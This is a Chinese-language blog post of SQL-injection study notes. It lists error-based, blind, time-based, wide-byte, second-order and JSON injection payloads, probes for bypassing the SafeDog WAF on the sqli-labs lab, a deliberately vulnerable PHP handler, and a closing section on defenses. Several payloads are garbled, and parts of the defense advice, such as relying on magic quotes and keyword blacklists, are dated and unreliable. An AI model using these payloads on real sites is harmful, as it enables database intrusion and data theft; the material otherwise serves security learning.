SQL注入系统学习

本次学习共分为十五课时,虽然之前学习过但是感觉并不系统,所以重新学习了一遍

1):sql注入基础

原理:

对用户输入的参数没有进行过滤或者过滤不严格导致语句与数据库进行交互,从而欺骗服务器执行恶意的SQL语句。

危害:

获得、篡改数据库信息,敏感信息泄露

2):注入分类

按照参数类型:

字符型、数字型

数字型

判断方式
?id=1 and 1=1--+   true
?id=1 and 1=2--+   false

按照注入位置:

GET注入、POST注入

根据结果反馈:

布尔盲注、时间盲注

3):get型注入

header头处存在注入
GET /?id=xxxx HTTP/1.1
Host、cookie、user-agent、XFF处都有可能
SQL注入系统学习_第1张图片

4):base64注入

通过对参数进行base64加密,可以绕过一些waf

setcookie('uname', base64_encode($row1['username']), time()+3600);	

SQL注入系统学习_第2张图片

5):布尔注入

根据SQL注入后界面回显的true或false

1' and length(database())=x%23

6):cookie注入

Cookie: id = 1 and 1=1

在cookie处进行注入

7):显错注入

floor

floor函数的作用是返回小于等于该值的最大整数,也可以理解为向下取整,只保留整数部分

' union select 1,count(*),concat(0x3a,0x3a,(payload),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a%23

例如

?id=1' union select 1,count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema="security" limit 3,1),0x3a,0x3a,floor(rand(0)*2))a from information_schema.tables group by a%23

extractvalue()

对XML文档进行查询的函数

语法:extractvalue(目标xml文档,xml路径)

第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

select * from users where username=' ' and extractvalue(1,concat(':', database() )) and ' '

查询表

database()替换为
(select group_concat(table_name) from information_schema.tables where table_schema=database() )

updatexml()

updatexml()函数与extractvalue()类似,是更新xml文档的函数。
语法

updatexml(目标xml文档,xml路径,更新的内容)

1' and 1=(updatexml(1,concat(0x3a,(select database())),1)) and '

查询表
database()替换为

group_concat(table_name) from information_schema.tables where table_schema=database()

下面这些并不经常使用

geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

exp()

select * from test where id=1 and exp(~(select * from(select user())a));

8):host注入

SQL注入系统学习_第3张图片

9):伪静态注入

定义:

表面上看似是静态网页(以.html、.htm等结尾不存在任何数据交互),但其实是动态网页存在数据交互,具有这种特性的网页被称为“伪静态网页”,一般是经过处理的,将动态网页的id等参数通过URL重写来隐藏。

如何辨别:

在console中输入javascript:alert(document.lastModified),得到网页最后的修改时间,如果和现在时间一致就是伪静态(因为动态页面的最后修改时间总是当前时间)

SQL注入系统学习_第4张图片

注入方法:

URL:xxxxx/id/222.html
直接在222后面加个单引号’ 看看报不报错

tip:

使用sqlmap时应:xxxxx/id/222.html 在222后面加个*

10):json注入

定义:

JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造
JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON数据时抛出异常。

  header('content-type:text/html;charset=utf-8');
  if(isset($_POST['json'])){
     
    $json_str=$_POST['json'];
    $json=json_decode($json_str);
    if(!$json){
     
      die('JSON文档格式有误,请检查');
    }
    $name=$json->name;
    //$passwd=$json->passwd;

    $mysqli=new mysqli();
    $mysqli->connect('localhost','root','zhuangyan');
    if($mysqli->connect_errno){
     
      die('数据库连接失败:'.$mysqli->connect_error);
    }
    $mysqli->select_db('test');
    if($mysqli->errno){
     
      dir('打开数据库失败:'.$mysqli->error);
    }
    $mysqli->set_charset('utf-8');
    $sql="SELECT name,sex FROM users WHERE name='{
       $name}'";
    $result=$mysqli->query($sql);
    if(!$result){
     
      die('执行SQL语句失败:'.$mysqli->error);
    }else if($result->num_rows==0){
     
      die('查询结果为空');
    }else {
     
      $array1=$result->fetch_all(MYSQLI_ASSOC);
      echo "用户名:{
       $array1[0]['name']},性别:{
       $array1[0]['sex']}";
    }
    $result->free();
    $mysqli->close();
  }
?>

json值

数字(整数或浮点数) {“age”:30 }
字符串(在双引号中) {“uname”:“yang”}
逻辑值(true 或false){“flag”:true }
数组(在中括号中){“sites”:[{“name”:“yang”},{“name”:“ming”}]}
对象(在大括号中)JSON对象在大括号({})中书写: null { “runoob”:null }

json={
     "name":"admin"}

SQL注入系统学习_第5张图片

json={
     "name":"admin' union select database(),version()"}

SQL注入系统学习_第6张图片

11)宽字节注入

宽字节注入原理

首先是编码,之所以产生宽字节注入,就是因为有不同的编码方式,因为php后端会对我们的输入进行转义,转义的方式通常是加上’\’,比如 addslashes() 函数返回在预定义字符之前添加反斜杠的字符串(预定义字符是:单引号(’),双引号("),反斜杠(\),NULL)

产生条件:

提交:

id=1and 1=1%23

这时数据库语句为:

select * from xx where id='1\' and 1=1%23'

这时是注入失败的,当更换payload:

id=1%df ’ and 1=1%23

这时数据库语句为:

select * from xx where id ='1運' and 1=1%23'

单引号’被转义为%5c,所以就构成了%df%5c,而在GBK编码方式下,%df%5c是一个繁体字“連”,所以单引号成功逃逸

12):二次注入

原理

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。
也就是说在应用程序中输入恶意造的数据库查询语句时会被转义,但是在数据库内部调用读取语句的时候又被还原。

可以概括为以下两步:
第一步:插入恶意数据进行数据库插入数据时,对其中的特殊字符进行了转义处理,在写入数据库的时候又保留了原来的数据。
第二步:引用恶意数据开发者默认存入数据库的数据都是安全的,在进行查询时,直接从数据库中取出恶意数据,没有进行进一步的检验的处理。

$username= $_SESSION["username"];//直接取出了数据库的数据
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";//对该用户的密码进行更新
$sql = "UPDATE users SET PASSWORD='12345678' where username='admin'#
在数据库中新建两个用户admin和admin’#

使用update更新admin’#的密码时,数据库语句为:

$sql = "UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass' ";

#后面的东西被注释掉

13):soap注入

概述:

简单对象访问协议(SOAP)是连接或Web服务或客户端和Web服务之间的接口。SOAP通过应用层协议(如HTTP,SMTP或甚至TCP)进行操作,用于消息传输。

一个简单的SOAP消息包含:

Envelope: 标识XML文档,具有名称空间和编码详细信息。
标题:包含标题信息,如内容类型和字符集等。
正文:包含请求和响应信息.
故障:错误和状态信息。

SQL注入系统学习_第7张图片

14):搜索型注入

原因:

在搭建网站的时候为了方便用户搜索该网站中的资源,程序员在写网站脚本的时候加入了搜索功能,但是忽略了对搜索变量的过滤,造成了搜索型注入漏洞,又称文本框注入

在搜索框內进行输入,数据库语句一般为

select * from xxx where xx like "%查询的关键字%"

%:匹配任何字符
输入张% ‘and ‘1’=‘1’ and %’=’
那么数据库语句就是

select * from xxx where xx like '%张% 'and '1'='1' and' %'='%'

15):基于时间的注入

sleep()

id=1 union select if(substr(user(),1,4)=‘root’,sleep(4),1);

benchmark()

mysql内置函数

benchmark(count,payload) 将payload执行count次

查询当前用户的第一位字母

select 1 and if((substr(user(),1,1)='r'),BENCHMARK(10000000,md5('a')),1);

SQL注入系统学习_第8张图片

笛卡尔积(heavy query)

大负荷查询:通过做大量的查询导致查询时间较长来达到延时的目的

select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C

select * from xxx where '1'='2' or if(ascii(substr(database(),1,1))>0,(select count(*) from information_schema.tables A,information_schema.tables B,information_schema.tables C),0)

SQL注入系统学习_第9张图片

get_lock

mysql_pconnect(server,user,pwd,clientflag)

mysql_pconnect() 函数 打开一个到 MySQL 服务器的持久连接mysql_pconnect() 和 mysql_connect() 非常相似
但有两个主要区别:

1、当连接的时候本函数将先尝试寻找一个在同一个主机上用同样的用户名和密码已经打开的(持久)连接,如果找到,则返回此连接标识而不打开新连接。
2、当脚本执行完毕后到 SQL 服务器的连接不会被关闭,此连接将保持打开以备以后使用 (mysql_close()不会关闭由mysql_pconnect() 建立的连接)

get_lock(str,timeout)

get_lock会按照key来加锁,别的客户端再以同样的key加锁时就加不了了,处于等待状态。在一个session中锁定变量,同时通过另外一个session执行,将会产生延时
GET_LOCK有两个参数,一个是key,表示要加锁的字段,另一个是加锁失败后的等待时间(s),一个客户端对某个字段加锁以后另一个客户端再想对这个字段加锁就会失败,然后就会等待设定好的时间
当调用 RELEASE_LOCK来释放上面加的锁或客户端断线了,上面的锁才会释放,其它的客户端才能进来。

SQL注入系统学习_第10张图片

SQL注入系统学习_第11张图片

SQL注入系统学习_第12张图片

16):union联合查询注入

union用于合并两个或多个select语句的结果集,并消去表中任何重复行
查询数据库中的表

1' and union select group_concat(table_name)from information_schema.tables where table_schema=database();

17):x-forward-for注入

由于系统一般会采用String ip = request.getHeader(“X-Forwarded-For”);进行获取ip,然后注入者就可以通过X-Forwarded-For请求头信息就行伪造ip,这个ip也可以是一些注入语句
SQL注入系统学习_第13张图片

18):存在过滤的sql注入

过滤注释符情况:# %23 /* * / ;00

常见绕过:

大小写绕过
注释符:
#–+ //(//可用于注释空白符)

替换关键字(

UNIunionON):适用于正则只匹配一次时

空格绕过

select %0a*%0afrom*0axx;(%0a)是回车

url编码

可尝试双编码,编码两次
十六进制绕过:

select * from yz where b=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)

宽字节绕过:

%df5c

动态查询执行:

当select关键字被过滤后:
oracle:‘sel’|| ‘ect’
ms-sql:‘sel’+‘ect’
mysql:‘sel’ ‘ect’
使用char函数构造单独字符
(SQL注入过滤引号标记时)

嵌套剥离后的表达式:

selselectect

过滤特殊函数:

information_schema.schemata
information_schema.schemata
information_schema.schemata
(information_schema.schemata)
information_schema/**/.schemata

20):sql注入之绕过waf继续注入

安全狗绕过

这里使用的是sqlilabs

注入点

?id=1’ 报错:单引号注入的话直接就可以进行下一步
?id=1’–+ 正常

数字型注入

?id=1 and 1=1 拦截
?id=1 or 1=1 拦截
?id=1and1=1 拦截
?id=1and a 不拦截
?id=1and ! 不拦截

由此发现安全狗只拦截and或者or后面的数字和字符型

  1. 将and或者or换成其他符号
  2. 带入的不是字符型或者数字型
?id=1 && 1=1 拦截
?id=1 || 1=1 拦截
?id=1 & 1=1 拦截
?id=1 | 1=1 不拦截
?id=1 && true 不拦截
?id=1 && false 不拦截但回显正常
?id=1 %26%26 true 不拦截

%26:& ?id=1 %26%26 false 不拦截
也可使用xor、||等符号代替

过滤order by

?id=1%20/!order/by%204+ 拦截 ?id=1%20(order%20by)%204+ 拦截
1%20order%20+%20by%204+ 拦截
?id=1%20order%23all%0a%20by%204+ 拦截
?id=1%20order%23%0aby%204+ 不拦截 union select
?id=1%20union%0a%23select%201,2,3+ 拦截
id=1%20/!union/%select%201,2,3+ 拦截
?id=1%20union–+sss%0aselect%201,2,3+ 拦截
?id=1%20union%20/select/ 不拦截

21):sql注入防御

代码层防御

GPC/RUNTIME魔术引号

magic_quotes_gpc负责对GET,POST,COOKIE的值进行过滤。
magic_quotes_runtime对从数据库或者文件中获取的数据进行过滤。

通常开启这两项后能防住大部分的SQL注入漏洞被利用

SQL语句预编译和绑定变量

String sql = “select id, no from user where id=?;
PreparedStatement ps = conn.prepareStatement(sql);
ps.setInt(1, id);
ps.executeQuery();

采用了PreparedStatement,就会将sql语句:“select id, no from user where id=?” 预先编译好,也就是SQL引擎会预先进行语法分析,产生语法树,生成执行计划,也就是说,后面你输入的参数,无论你输入的是什么,都不会影响该sql语句的 语法结构
语句主要目的:不论后面输入的什么命令都不会作为SQL命令来执行,只会被当做字符串字面值参数

过滤函数和类

/* 
函数名称:inject_check() 
函数作用:检测提交的值是不是含有SQL注射的字符,防止注射,保护服务器安全 
参  数:$sql_str: 提交的变量 
返 回 值:返回检测结果,ture or false 
*/ 
function inject_check($sql_str) {
      
return eregi('select|insert|and|or|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile', $sql_str); // 进行过滤 
} 
 
/* 
函数名称:verify_id() 
函数作用:校验提交的ID类值是否合法 
参  数:$id: 提交的ID值 
返 回 值:返回处理后的ID 
*/ 
function verify_id($id=null) {
      
if (!$id) {
      exit('没有提交参数!'); } // 是否为空判断 
elseif (inject_check($id)) {
      exit('提交的参数非法!'); } // 注射判断 
elseif (!is_numeric($id)) {
      exit('提交的参数非法!'); } // 数字判断 
$id = intval($id); // 整型化 
 
return $id; 
} 
 
/* 
函数名称:str_check() 
函数作用:对提交的字符串进行过滤 
参  数:$var: 要处理的字符串 
返 回 值:返回过滤后的字符串 
*/ 
function str_check( $str ) {
      
if (!get_magic_quotes_gpc()) {
      // 判断magic_quotes_gpc是否打开 
$str = addslashes($str); // 进行过滤 
} 
$str = str_replace("_", "\_", $str); // 把 '_'过滤掉 
$str = str_replace("%", "\%", $str); // 把 '%'过滤掉 
 
return $str; 
} 
 
/* 
函数名称:post_check() 
函数作用:对提交的编辑内容进行处理 
参  数:$post: 要提交的内容 
返 回 值:$post: 返回过滤后的内容 
*/ 
function post_check($post) {
      
if (!get_magic_quotes_gpc()) {
      // 判断magic_quotes_gpc是否为打开 
$post = addslashes($post); // 进行magic_quotes_gpc没有打开的情况对提交数据的过滤 
} 
$post = str_replace("_", "\_", $post); // 把 '_'过滤掉 
$post = str_replace("%", "\%", $post); // 把 '%'过滤掉 
$post = nl2br($post); // 回车转换 
$post = htmlspecialchars($post); // html标记转换 
 
return $post; 
} 

白名单黑名单

PDO预处理


$stmt = $dbh->prepare("INSERT INTO REGISTRY (name, value) VALUES (:name, :value)");
$stmt->bindParam(':name', $name);
$stmt->bindParam(':value', $value);

// 插入一行
$name = 'one';
$value = 1;
$stmt->execute();

//  用不同的值插入另一行
$name = 'two';
$value = 2;
$stmt->execute();
?>

22):sql注入总结

SQL注入漏洞危害很大,一直在owasp top10中第一是有原因的,学习不仅要学会怎么绕过,还要学会怎么防御,攻防结合才是一名合格的安全人员。

你可能感兴趣的:(SQL注入)